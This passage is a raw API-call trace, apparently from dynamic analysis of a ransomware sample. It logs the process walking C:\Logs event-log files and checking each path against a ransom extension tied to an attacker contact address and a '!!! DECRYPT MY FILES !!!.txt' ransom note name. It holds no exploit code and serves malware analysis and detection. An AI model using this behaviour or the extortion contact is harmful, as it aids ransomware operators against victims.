FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0104.030] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50b4bacf, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50b4bacf, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx", cAlternateFileName="MI6B25~1.EVT")) returned 1 [0104.030] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx", psz="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx", len=0x3b | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 1 [0104.030] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx", cchLength=0x3b | out: lpsz="c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx") returned 0x3b [0104.030] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0104.030] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0104.030] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0104.030] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0104.030] GetProcessHeap () returned 0x630000 [0104.030] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0398, Size=0x18) returned 0x6b04f8 [0104.031] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb66288f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb66288f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-International%4Operational.evtx", cAlternateFileName="MI854A~1.EVT")) returned 1 [0104.031] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx", psz="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx", len=0x39 | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 1 [0104.031] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx", cchLength=0x39 | out: lpsz="c:\\logs\\microsoft-windows-international%4operational.evtx") returned 0x39 [0104.031] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0104.031] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0104.031] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0104.031] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0104.031] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x506ad1ac, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x506ad1ac, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-Boot%4Operational.evtx", cAlternateFileName="MI32CE~1.EVT")) returned 1 [0104.031] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-international%4operational.evtx", psz="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx", len=0x37 | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 1 [0104.031] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx", cchLength=0x37 | out: lpsz="c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx") returned 0x37 [0104.031] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0104.031] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0104.032] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0104.032] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0104.032] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ca2fbd, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ca2fbd, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-EventTracing%4Admin.evtx", cAlternateFileName="MIA934~1.EVT")) returned 1 [0104.032] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx", psz="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx", len=0x39 | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 1 [0104.032] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx", cchLength=0x39 | out: lpsz="c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx") returned 0x39 [0104.032] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0104.032] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0104.032] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0104.032] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0104.032] GetProcessHeap () returned 0x630000 [0104.032] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b04f8, Size=0x1c) returned 0x6e8fe0 [0104.032] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5071f8b0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5071f8b0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-PnP%4Configuration.evtx", cAlternateFileName="MIB32D~1.EVT")) returned 1 [0104.033] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx", psz="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx", len=0x38 | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 1 [0104.033] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx", cchLength=0x38 | out: lpsz="c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx") returned 0x38 [0104.033] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0104.033] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0104.033] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0104.033] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0104.033] GetProcessHeap () returned 0x630000 [0104.033] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e8fe0, Size=0x20) returned 0x6e92b0 [0104.033] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8ebf6d7, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc8ebf6d7, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx", cAlternateFileName="MICA77~1.EVT")) returned 1 [0104.033] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx", psz="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx", len=0x40 | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 1 [0104.033] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx", cchLength=0x40 | out: lpsz="c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx") returned 0x40 [0104.033] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0104.033] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0104.034] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0104.034] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0104.034] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5090f75d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5090f75d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx", cAlternateFileName="MI1E8D~1.EVT")) returned 1 [0104.034] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx", psz="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx", len=0x3d | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 1 [0104.034] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx", cchLength=0x3d | out: lpsz="c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx") returned 0x3d [0104.034] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0104.034] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0104.034] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0104.034] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0104.034] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd75102f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcd75102f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx", cAlternateFileName="MID067~1.EVT")) returned 1 [0104.035] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx", psz="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx", len=0x3b | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 1 [0104.035] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx", cchLength=0x3b | out: lpsz="c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx") returned 0x3b [0104.035] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0104.035] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0104.035] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0104.035] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0104.035] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50be4414, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50be4414, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-WHEA%4Errors.evtx", cAlternateFileName="MIDE4D~1.EVT")) returned 1 [0104.035] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx", psz="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx", len=0x32 | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 1 [0104.035] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx", cchLength=0x32 | out: lpsz="c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx") returned 0x32 [0104.036] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0104.036] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0104.036] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0104.036] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0104.036] GetProcessHeap () returned 0x630000 [0104.036] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e92b0, Size=0x24) returned 0x699b58 [0104.036] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50be4414, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50be4414, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-WHEA%4Operational.evtx", cAlternateFileName="MI36C5~1.EVT")) returned 1 [0104.036] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx", psz="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx", len=0x37 | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 1 [0104.036] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx", cchLength=0x37 | out: lpsz="c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx") returned 0x37 [0104.036] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0104.036] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0104.036] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0104.036] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0104.037] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59547c37, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x59547c37, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Known Folders API Service.evtx", cAlternateFileName="MI86D6~1.EVT")) returned 1 [0104.037] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx", psz="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx", len=0x38 | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 1 [0104.037] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx", cchLength=0x38 | out: lpsz="c:\\logs\\microsoft-windows-known folders api service.evtx") returned 0x38 [0104.037] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0104.037] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0104.037] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0104.037] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0104.037] GetProcessHeap () returned 0x630000 [0104.037] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699b58, Size=0x28) returned 0x699948 [0104.037] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbb7386e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcbb7386e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-LiveId%4Operational.evtx", cAlternateFileName="MI4C58~1.EVT")) returned 1 [0104.037] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-known folders api service.evtx", psz="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx", len=0x32 | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 1 [0104.037] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx", cchLength=0x32 | out: lpsz="c:\\logs\\microsoft-windows-liveid%4operational.evtx") returned 0x32 [0104.038] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0104.038] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0104.038] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0104.038] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0104.038] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc93d06f0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc93d06f0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-MUI%4Admin.evtx", cAlternateFileName="MI30D3~1.EVT")) returned 1 [0104.038] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-liveid%4operational.evtx", psz="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx", len=0x29 | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 1 [0104.038] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx", cchLength=0x29 | out: lpsz="c:\\logs\\microsoft-windows-mui%4admin.evtx") returned 0x29 [0104.038] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0104.038] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0104.038] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0104.038] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0104.038] GetProcessHeap () returned 0x630000 [0104.039] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699948, Size=0x2c) returned 0x6ed5dd0 [0104.039] FindNextFileW (in: 